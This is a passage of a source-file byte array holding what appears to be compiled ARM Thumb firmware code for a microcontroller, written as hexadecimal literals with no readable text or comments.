0x42u, 0x1eu, 0x03u, 0x00u, 0x00u, 0x20u, 0x04u, 0x2au, 0x03u, 0xd8u, 0x28u, 0x30u, 0x58u, 0x43u, 0x01u, 0x4bu,
0xc0u, 0x18u, 0x70u, 0x47u, 0x78u, 0x6du, 0x00u, 0x10u, 0x09u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xc0u, 0x18u,
0x08u, 0x4bu, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x04u, 0xd8u, 0x80u, 0x23u, 0x02u, 0x68u,
0x1au, 0x42u, 0xfcu, 0xd1u, 0x70u, 0x47u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0xfau, 0xe7u, 0xc0u, 0x46u,
0x38u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x0bu, 0x00u, 0x13u, 0x22u, 0x00u, 0x21u,
0x02u, 0xf0u, 0xf2u, 0xf9u, 0x10u, 0xbdu, 0x00u, 0x00u, 0x10u, 0xb5u, 0x13u, 0x00u, 0x07u, 0x4au, 0x12u, 0x68u,
0x29u, 0x32u, 0x14u, 0x78u, 0x0cu, 0x22u, 0x1fu, 0x2cu, 0x00u, 0xd9u, 0x04u, 0x32u, 0x91u, 0x40u, 0x01u, 0x3bu,
0x0bu, 0x43u, 0x12u, 0x22u, 0x00u, 0x21u, 0x02u, 0xf0u, 0xdfu, 0xf9u, 0x10u, 0xbdu, 0x34u, 0x07u, 0x00u, 0x08u,
0xf0u, 0xb5u, 0xadu, 0xb0u, 0x04u, 0x00u, 0x04u, 0x91u, 0x05u, 0x92u, 0x03u, 0x93u, 0x00u, 0x29u, 0x00u, 0xd1u,
0x15u, 0xe1u, 0x03u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x11u, 0xe1u, 0x32u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u,
0x0du, 0xe1u, 0x33u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x09u, 0xe1u, 0x32u, 0x9bu, 0x58u, 0x78u, 0xffu, 0xf7u,
0xa7u, 0xffu, 0x07u, 0x1eu, 0x00u, 0xd1u, 0x04u, 0xe1u, 0x0au, 0xabu, 0x45u, 0x68u, 0x07u, 0x93u, 0x1bu, 0xabu,
0x08u, 0x93u, 0x32u, 0x9bu, 0x33u, 0x9au, 0x59u, 0x78u, 0x20u, 0x00u, 0x06u, 0xabu, 0x00u, 0xf0u, 0xc8u, 0xfau,
0x06u, 0x1eu, 0x65u, 0xd1u, 0x2au, 0x00u, 0x0eu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbdu, 0xffu, 0x2bu, 0x00u,
0xbau, 0x69u, 0x0eu, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x69u, 0xf9u, 0x6au, 0x1cu, 0x0du, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xb2u, 0xffu, 0x2bu, 0x00u, 0xfau, 0x69u, 0x0du, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x5eu, 0xf9u,
0x2au, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa7u, 0xffu, 0x2au, 0x00u, 0x0au, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xa2u, 0xffu, 0x09u, 0x21u, 0x20u, 0x00u, 0x2bu, 0x00u, 0x07u, 0x9au, 0x04u, 0xf0u, 0x4eu, 0xf9u,
0x09u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xc6u, 0xf9u, 0x00u, 0x28u, 0x00u, 0xd0u, 0xc5u, 0xe0u, 0x2au, 0x00u,
0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x90u, 0xffu, 0x05u, 0x9bu, 0x0bu, 0x21u, 0xdfu, 0x00u, 0x3au, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x89u, 0xffu, 0x0eu, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xdcu, 0xf9u,
0x00u, 0x28u, 0x28u, 0xd1u, 0x5cu, 0x4bu, 0x30u, 0x22u, 0x31u, 0x00u, 0x20u, 0x00u, 0x02u, 0xf0u, 0x6cu, 0xf9u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x59u, 0xffu, 0x2bu, 0x00u, 0x08u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0x0fu, 0xfcu, 0x03u, 0x99u, 0x20u, 0x00u, 0x2bu, 0x00u, 0x09u, 0x22u, 0x04u, 0xf0u, 0x61u, 0xf9u, 0x09u, 0x21u,
0x20u, 0x00u, 0x04u, 0xf0u, 0x97u, 0xf9u, 0x00u, 0x28u, 0x13u, 0xd0u, 0x50u, 0x4eu, 0x90u, 0x21u, 0x20u, 0x00u,
0x09u, 0x01u, 0xffu, 0xf7u, 0x59u, 0xffu, 0xccu, 0x21u, 0x20u, 0x00u, 0xc9u, 0x01u, 0xffu, 0xf7u, 0x54u, 0xffu,
0x30u, 0x00u, 0x2du, 0xb0u, 0xf0u, 0xbdu, 0x2bu, 0x00u, 0x09u, 0x22u, 0x03u, 0x99u, 0x20u, 0x00u, 0x04u, 0xf0u,
0x47u, 0xf9u, 0x32u, 0x9au, 0x2bu, 0x00u, 0xd2u, 0x68u, 0x08u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xfeu, 0xf8u,
0x02u, 0x20u, 0x01u, 0xf0u, 0x85u, 0xffu, 0x09u, 0x23u, 0x08u, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u, 0x00u, 0x95u,
0x00u, 0xf0u, 0x5au, 0xfcu, 0x0bu, 0x21u, 0x20u, 0x00u, 0x3bu, 0x00u, 0x04u, 0x9au, 0x04u, 0xf0u, 0xeeu, 0xf8u,
0x0bu, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xa6u, 0xf9u, 0xafu, 0x42u, 0x1bu, 0xd9u, 0x7bu, 0x1bu, 0x38u, 0x4fu,
0x20u, 0x00u, 0x3au, 0x68u, 0x29u, 0x32u, 0x11u, 0x78u, 0x1fu, 0x22u, 0x8au, 0x42u, 0x92u, 0x41u, 0x52u, 0x42u,
0x0cu, 0x32u, 0x93u, 0x40u, 0x00u, 0x21u, 0x80u, 0x22u, 0x02u, 0xf0u, 0x16u, 0xf9u, 0x3bu, 0x68u, 0x24u, 0x22u,
0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x01u, 0x3au, 0x2eu, 0x4bu, 0x00u, 0x21u, 0x20u, 0x00u,
0x02u, 0xf0u, 0x0au, 0xf9u, 0x0bu, 0x21u, 0x0eu, 0x22u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x6du, 0xf9u, 0x01u, 0x1eu,
0x0du, 0xd1u, 0x29u, 0x4bu, 0x30u, 0x22u, 0x20u, 0x00u, 0x02u, 0xf0u, 0xfeu, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xebu, 0xfeu, 0x2bu, 0x00u, 0x08u, 0x22u, 0x0bu, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xa1u, 0xfbu, 0x2bu, 0x00u,
0x33u, 0x9au, 0x09u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xb1u, 0xf8u, 0x0au, 0x23u, 0x0bu, 0x22u, 0x19u, 0x00u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xbdu, 0xfbu, 0x2au, 0x00u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf4u, 0xfeu,
0x0au, 0x23u, 0x30u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x02u, 0xf0u, 0xdeu, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xcbu, 0xfeu, 0x09u, 0x23u, 0x00u, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u, 0x00u, 0x95u, 0x01u, 0xf0u, 0x08u, 0xfcu,
0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd8u, 0xfeu, 0x0au, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x0au, 0xf9u,
0x00u, 0x28u, 0x00u, 0xd0u, 0x71u, 0xe7u, 0x03u, 0x9bu, 0xe9u, 0x1du, 0xc9u, 0x08u, 0x59u, 0x18u, 0x0au, 0x22u,
0x2bu, 0x00u, 0x20u, 0x00u, 0x04u, 0xf0u, 0xc4u, 0xf8u, 0x68u, 0xe7u, 0x08u, 0x4eu, 0x6bu, 0xe7u, 0x07u, 0x4eu,
0x6eu, 0xe7u, 0x07u, 0x4eu, 0x6cu, 0xe7u, 0xc0u, 0x46u, 0x09u, 0x80u, 0x00u, 0x00u, 0x01u, 0x00u, 0x32u, 0x00u,
0x34u, 0x07u, 0x00u, 0x08u, 0xb0u, 0xb0u, 0x00u, 0x00u, 0x0bu, 0x80u, 0x00u, 0x00u, 0x0bu, 0x00u, 0x32u, 0x00u,
0x0au, 0x00u, 0x32u, 0x00u, 0xf0u, 0xb5u, 0x87u, 0xb0u, 0x04u, 0x00u, 0x0fu, 0x1eu, 0x04u, 0x92u, 0x03u, 0x93u,
0x00u, 0xd1u, 0x8bu, 0xe1u, 0x00u, 0x2au, 0x00u, 0xd1u, 0x88u, 0xe1u, 0x0cu, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u,
0x84u, 0xe1u, 0x0du, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x80u, 0xe1u, 0x58u, 0x78u, 0xffu, 0xf7u, 0x78u, 0xfeu,
0x06u, 0x1eu, 0x00u, 0xd1u, 0x7cu, 0xe1u, 0x45u, 0x68u, 0x02u, 0x20u, 0x01u, 0xf0u, 0xd9u, 0xfeu, 0x28u, 0x00u,
0x01u, 0xf0u, 0xb6u, 0xfeu, 0x2au, 0x00u, 0x0eu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x95u, 0xfeu, 0x2bu, 0x00u,
0xb2u, 0x69u, 0x0eu, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x41u, 0xf8u, 0x6bu, 0x1cu, 0x1au, 0x00u, 0x0du, 0x21u,
0x20u, 0x00u, 0x05u, 0x93u, 0xffu, 0xf7u, 0x88u, 0xfeu, 0x6bu, 0x1cu, 0xf2u, 0x69u, 0x0du, 0x21u, 0x20u, 0x00u,
0x04u, 0xf0u, 0x34u, 0xf8u, 0x2au, 0x00u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7du, 0xfeu, 0x2au, 0x00u,
0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x78u, 0xfeu, 0x3au, 0x00u, 0x2bu, 0x00u, 0x04u, 0x21u, 0x20u, 0x00u,
0x04u, 0xf0u, 0x24u, 0xf8u, 0xeau, 0x1du, 0xd2u, 0x08u, 0xbau, 0x18u, 0x2bu, 0x00u, 0x05u, 0x21u, 0x20u, 0x00u,
0x04u, 0xf0u, 0x1cu, 0xf8u, 0x04u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x94u, 0xf8u, 0x43u, 0x42u, 0x58u, 0x41u,
0xa0u, 0x4fu, 0x40u, 0x42u, 0xa0u, 0x4bu, 0x07u, 0x40u, 0x0eu, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0x18u,
0x04u, 0xf0u, 0xb2u, 0xf8u, 0x00u, 0x28u, 0x00u, 0xd1u, 0x9bu, 0x4fu, 0x05u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u,
0x81u, 0xf8u, 0x00u, 0x28u, 0x00u, 0xd0u, 0x98u, 0x4fu, 0x0eu, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u,
0xa3u, 0xf8u, 0x00u, 0x28u, 0x00u, 0xd1u, 0x1eu, 0xe1u, 0x00u, 0x2fu, 0x00u, 0xd0u, 0x1cu, 0xe1u, 0x2au, 0x00u,
0x06u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x40u, 0xfeu, 0x2au, 0x00u, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x3bu, 0xfeu, 0x2au, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x36u, 0xfeu, 0x2au, 0x00u, 0x0au, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x31u, 0xfeu, 0x2au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x2cu, 0xfeu,
0x2au, 0x00u, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x27u, 0xfeu, 0xc0u, 0x23u, 0x34u, 0x22u, 0xdbu, 0x01u,
0x39u, 0x00u, 0x20u, 0x00u, 0x02u, 0xf0u, 0x10u, 0xf8u, 0x03u, 0x9bu, 0x08u, 0x21u, 0xdbu, 0x00u, 0x1au, 0x00u,
0x20u, 0x00u, 0x03u, 0x93u, 0xffu, 0xf7u, 0x18u, 0xfeu, 0x80u, 0x23u, 0x34u, 0x22u, 0x1bu, 0x02u, 0x39u, 0x00u,
0x20u, 0x00u, 0x02u, 0xf0u, 0x01u, 0xf8u, 0x03u, 0x9bu, 0x04u, 0x9au, 0x08u, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u,
0xbdu, 0xffu, 0x08u, 0x21u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x75u, 0xf8u, 0x03u, 0x9bu, 0xabu, 0x42u, 0x1du, 0xd9u,
0x72u, 0x4au, 0x5bu, 0x1bu, 0x12u, 0x68u, 0x20u, 0x00u, 0x03u, 0x92u, 0x29u, 0x32u, 0x11u, 0x78u, 0x1fu, 0x22u,
0x8au, 0x42u, 0x92u, 0x41u, 0x52u, 0x42u, 0x0cu, 0x32u, 0x93u, 0x40u, 0x39u, 0x00u, 0x80u, 0x22u, 0x01u, 0xf0u,
0xe3u, 0xffu, 0x6au, 0x4bu, 0x24u, 0x22u, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u,
0x01u, 0x3au, 0x67u, 0x4bu, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd6u, 0xffu, 0x65u, 0x4bu, 0x30u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd0u, 0xffu, 0x80u, 0x21u, 0x20u, 0x00u, 0x49u, 0x00u, 0xffu, 0xf7u,
0xd3u, 0xfdu, 0x2au, 0x00u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd6u, 0xfdu, 0x2au, 0x00u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xd1u, 0xfdu, 0x06u, 0x21u, 0x0eu, 0x22u, 0x20u, 0x00u, 0x04u, 0xf0u, 0x24u, 0xf8u,
0x01u, 0x1eu, 0x0du, 0xd1u, 0x58u, 0x4bu, 0x30u, 0x22u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xb5u, 0xffu, 0x20u, 0x00u,
0xffu, 0xf7u, 0xa2u, 0xfdu, 0x2bu, 0x00u, 0x08u, 0x22u, 0x06u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x58u, 0xfau,
0x00u, 0x23u, 0x35u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xa6u, 0xffu, 0x05u, 0x23u, 0x00u, 0x22u,
0x19u, 0x00u, 0x20u, 0x00u, 0x00u, 0x95u, 0x01u, 0xf0u, 0xd3u, 0xfau, 0x06u, 0x22u, 0x05u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0x00u, 0x95u, 0x00u, 0xf0u, 0xc0u, 0xfau, 0x05u, 0x23u, 0x04u, 0x22u, 0x07u, 0x21u, 0x20u, 0x00u,
0x00u, 0x95u, 0x00u, 0xf0u, 0xb9u, 0xfau, 0x30u, 0x7bu, 0x01u, 0xf0u, 0xdau, 0xfdu, 0x32u, 0x69u, 0x2bu, 0x00u,
0x0eu, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x4au, 0xffu, 0x72u, 0x69u, 0x6bu, 0x1cu, 0x0du, 0x21u, 0x20u, 0x00u,
0x03u, 0xf0u, 0x44u, 0xffu, 0x32u, 0x6au, 0x2bu, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x3eu, 0xffu,
0x72u, 0x6au, 0x08u, 0x26u, 0x2bu, 0x00u, 0x0au, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x37u, 0xffu, 0x0du, 0x9au,
0x2bu, 0x00u, 0x52u, 0x68u, 0x0bu, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x30u, 0xffu, 0x0du, 0x9au, 0x2bu, 0x00u,
0x92u, 0x68u, 0x0cu, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x29u, 0xffu, 0x06u, 0x23u, 0x0au, 0x22u, 0x09u, 0x21u,
0x20u, 0x00u, 0x01u, 0x95u, 0x00u, 0x96u, 0x01u, 0xf0u, 0xb1u, 0xfdu, 0x07u, 0x23u, 0x0cu, 0x22u, 0x0bu, 0x21u,
0x20u, 0x00u, 0x01u, 0x95u, 0x00u, 0x96u, 0x01u, 0xf0u, 0xa9u, 0xfdu, 0x0au, 0x23u, 0x0cu, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x41u, 0xfau, 0x09u, 0x23u, 0x0bu, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x3bu, 0xfau, 0x05u, 0x23u, 0x00u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0x00u, 0x95u, 0x01u, 0xf0u, 0x78u, 0xfau,
0x05u, 0x22u, 0x2bu, 0x00u, 0x11u, 0x00u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x6cu, 0xfau, 0x05u, 0x22u, 0x09u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x28u, 0xfau, 0x05u, 0x22u, 0x0bu, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x22u, 0xfau, 0x80u, 0x21u, 0x20u, 0x00u, 0x49u, 0x00u, 0xffu, 0xf7u, 0x35u, 0xfdu, 0x04u, 0x22u,
0x05u, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x7au, 0xffu, 0x00u, 0x28u, 0x09u, 0xd0u, 0x01u, 0x23u, 0x0cu, 0x9au,
0x13u, 0x70u, 0x0eu, 0x49u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x27u, 0xfdu, 0x38u, 0x00u, 0x07u, 0xb0u, 0xf0u, 0xbdu,
0x0cu, 0x9bu, 0x18u, 0x70u, 0xf5u, 0xe7u, 0x04u, 0x4fu, 0x09u, 0x49u, 0xf3u, 0xe7u, 0x02u, 0x4fu, 0xf4u, 0xe7u,
0x08u, 0x4fu, 0xf2u, 0xe7u, 0xf5u, 0xffu, 0xcdu, 0xffu, 0x0bu, 0x00u, 0x32u, 0x00u, 0x34u, 0x07u, 0x00u, 0x08u,
0x80u, 0x80u, 0x00u, 0x00u, 0x08u, 0x60u, 0x00u, 0x00u, 0x06u, 0x80u, 0x00u, 0x00u, 0xf1u, 0x7eu, 0x00u, 0x00u,
0x30u, 0x60u, 0x00u, 0x00u, 0x0au, 0x00u, 0x32u, 0x00u, 0x10u, 0xb5u, 0x13u, 0x00u, 0x07u, 0x4au, 0x12u, 0x68u,
0x29u, 0x32u, 0x14u, 0x78u, 0x0cu, 0x22u, 0x1fu, 0x2cu, 0x00u, 0xd9u, 0x04u, 0x32u, 0x91u, 0x40u, 0x01u, 0x3bu,
0x0bu, 0x43u, 0x12u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0xefu, 0xfeu, 0x10u, 0xbdu, 0x34u, 0x07u, 0x00u, 0x08u,
0xf0u, 0xb5u, 0x04u, 0x00u, 0x85u, 0xb0u, 0x08u, 0x00u, 0x02u, 0x91u, 0x03u, 0x92u, 0x1eu, 0x00u, 0xffu, 0xf7u,
0xc7u, 0xfcu, 0x07u, 0x1eu, 0x00u, 0xd1u, 0x7bu, 0xe0u, 0x03u, 0x9bu, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x77u, 0xe0u,
0x00u, 0x2eu, 0x00u, 0xd1u, 0x74u, 0xe0u, 0x73u, 0x68u, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x70u, 0xe0u, 0xb3u, 0x68u,
0x00u, 0x2bu, 0x00u, 0xd1u, 0x6cu, 0xe0u, 0x45u, 0x68u, 0x0eu, 0x21u, 0x2au, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xcbu, 0xffu, 0x2au, 0x00u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc6u, 0xffu, 0x6au, 0x1cu, 0x0du, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xc1u, 0xffu, 0x2au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbcu, 0xffu,
0x2au, 0x00u, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb7u, 0xffu, 0x2bu, 0x00u, 0x3au, 0x69u, 0x0eu, 0x21u,
0x20u, 0x00u, 0x03u, 0xf0u, 0x73u, 0xfeu, 0x2bu, 0x00u, 0xbau, 0x69u, 0x09u, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u,
0x6du, 0xfeu, 0x6bu, 0x1cu, 0x7au, 0x69u, 0x0du, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x67u, 0xfeu, 0x2bu, 0x00u,
0x3au, 0x6au, 0x0bu, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x61u, 0xfeu, 0x2bu, 0x00u, 0x7au, 0x6au, 0x0cu, 0x21u,
0x20u, 0x00u, 0x03u, 0xf0u, 0x5bu, 0xfeu, 0x28u, 0x00u, 0x01u, 0xf0u, 0xc2u, 0xfcu, 0x38u, 0x7bu, 0x01u, 0xf0u,
0xdfu, 0xfcu, 0x2au, 0x00u, 0x0au, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x8eu, 0xffu, 0x2bu, 0x00u, 0x03u, 0x9au,
0x0au, 0x21u, 0x20u, 0x00u, 0x03u, 0xf0u, 0x4au, 0xfeu, 0x09u, 0x23u, 0x01u, 0x95u, 0x00u, 0x93u, 0x0cu, 0x22u,
0x01u, 0x33u, 0x0bu, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd1u, 0xfcu, 0x2bu, 0x00u, 0x0bu, 0x22u, 0x71u, 0x68u,
0x20u, 0x00u, 0x03u, 0xf0u, 0x7du, 0xfeu, 0x2bu, 0x00u, 0x0cu, 0x22u, 0xb1u, 0x68u, 0x20u, 0x00u, 0x03u, 0xf0u,
0x77u, 0xfeu, 0x6bu, 0x46u, 0x1bu, 0x7au, 0x00u, 0x25u, 0x73u, 0x70u, 0xfcu, 0x23u, 0x20u, 0x00u, 0x35u, 0x70u,
0xdbu, 0x01u, 0x13u, 0x22u, 0x29u, 0x00u, 0x01u, 0xf0u, 0x67u, 0xfeu, 0x28u, 0x00u, 0x05u, 0xb0u, 0xf0u, 0xbdu,
0x00u, 0x48u, 0xfbu, 0xe7u, 0x0bu, 0x00u, 0x32u, 0x00u, 0x10u, 0xb5u, 0x12u, 0x01u, 0x13u, 0x43u, 0x09u, 0x03u,
0x0bu, 0x43u, 0x37u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x57u, 0xfeu, 0x10u, 0xbdu, 0x09u, 0x03u, 0x0bu, 0x00u,
0x10u, 0xb5u, 0x13u, 0x43u, 0x00u, 0x21u, 0x30u, 0x22u, 0x01u, 0xf0u, 0x4eu, 0xfeu, 0x10u, 0xbdu, 0x10u, 0xb5u,
0x12u, 0x01u, 0x13u, 0x43u, 0x09u, 0x03u, 0x0bu, 0x43u, 0x36u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x44u, 0xfeu,
0x10u, 0xbdu, 0x00u, 0x00u, 0x09u, 0x4bu, 0x1bu, 0x68u, 0x1bu, 0x68u, 0xc0u, 0x18u, 0x08u, 0x4bu, 0x1bu, 0x68u,
0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x04u, 0xd8u, 0x80u, 0x23u, 0x02u, 0x68u, 0x1au, 0x42u, 0xfcu, 0xd1u,
0x70u, 0x47u, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0xfau, 0xe7u, 0xc0u, 0x46u, 0x38u, 0x05u, 0x00u, 0x08u,
0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x04u, 0x00u, 0xffu, 0xf7u, 0xe4u, 0xffu, 0x02u, 0x4bu, 0x1bu, 0x68u,
0xdbu, 0x6bu, 0xe4u, 0x18u, 0x20u, 0x68u, 0x10u, 0xbdu, 0x38u, 0x05u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x0au, 0x4bu,
0x09u, 0x03u, 0x1bu, 0x68u, 0x12u, 0x01u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x06u, 0xd8u, 0x13u, 0x00u,
0x25u, 0x22u, 0x0bu, 0x43u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x0fu, 0xfeu, 0x10u, 0xbdu, 0x0fu, 0x23u, 0x13u, 0x43u,
0x0bu, 0x43u, 0x24u, 0x22u, 0xf6u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x07u, 0x4bu,
0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x05u, 0xd8u, 0x05u, 0x4bu, 0x21u, 0x22u, 0x00u, 0x21u,
0x01u, 0xf0u, 0xfau, 0xfdu, 0x10u, 0xbdu, 0x03u, 0x4bu, 0xf8u, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0xc0u, 0xc0u, 0x00u, 0x00u, 0xcfu, 0xc0u, 0x00u, 0x00u, 0x00u, 0x23u, 0x10u, 0xb5u, 0x10u, 0x22u, 0x19u, 0x00u,
0x01u, 0xf0u, 0xeau, 0xfdu, 0x10u, 0xbdu, 0x09u, 0x03u, 0x0bu, 0x00u, 0x13u, 0x43u, 0x00u, 0x22u, 0x10u, 0xb5u,
0x11u, 0x00u, 0x01u, 0xf0u, 0xe1u, 0xfdu, 0x10u, 0xbdu, 0x10u, 0xb5u, 0x13u, 0x00u, 0x07u, 0x4au, 0x12u, 0x68u,
0x29u, 0x32u, 0x14u, 0x78u, 0x0cu, 0x22u, 0x1fu, 0x2cu, 0x00u, 0xd9u, 0x04u, 0x32u, 0x91u, 0x40u, 0x01u, 0x3bu,
0x0bu, 0x43u, 0x12u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0xcfu, 0xfdu, 0x10u, 0xbdu, 0x34u, 0x07u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x1fu, 0x24u, 0x08u, 0x4bu, 0x89u, 0x06u, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x9cu, 0x42u,
0xa4u, 0x41u, 0x13u, 0x00u, 0x64u, 0x42u, 0x0cu, 0x34u, 0xa3u, 0x40u, 0x80u, 0x22u, 0x0bu, 0x43u, 0x00u, 0x21u,
0x01u, 0xf0u, 0xbau, 0xfdu, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x70u, 0xb5u, 0x14u, 0x00u,
0x07u, 0x4au, 0x15u, 0x68u, 0x24u, 0x22u, 0x29u, 0x35u, 0x2du, 0x78u, 0x1fu, 0x2du, 0x00u, 0xd9u, 0x01u, 0x3au,
0x24u, 0x01u, 0x23u, 0x43u, 0x09u, 0x03u, 0x0bu, 0x43u, 0x00u, 0x21u, 0x01u, 0xf0u, 0xa5u, 0xfdu, 0x70u, 0xbdu,
0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x0bu, 0x00u, 0x13u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x9cu, 0xfdu,
0x10u, 0xbdu, 0x00u, 0x23u, 0x10u, 0xb5u, 0x11u, 0x22u, 0x19u, 0x00u, 0x01u, 0xf0u, 0x95u, 0xfdu, 0x10u, 0xbdu,
0x70u, 0xb5u, 0x04u, 0x00u, 0x1bu, 0x4du, 0xffu, 0xf7u, 0x9fu, 0xffu, 0x20u, 0x00u, 0x01u, 0x22u, 0x02u, 0x21u,
0xffu, 0xf7u, 0xa1u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x03u, 0x21u, 0xffu, 0xf7u, 0x9cu, 0xffu, 0x2au, 0x00u,
0x20u, 0x00u, 0x01u, 0x21u, 0xffu, 0xf7u, 0xa0u, 0xffu, 0x2au, 0x00u, 0x20u, 0x00u, 0x00u, 0x21u, 0xffu, 0xf7u,
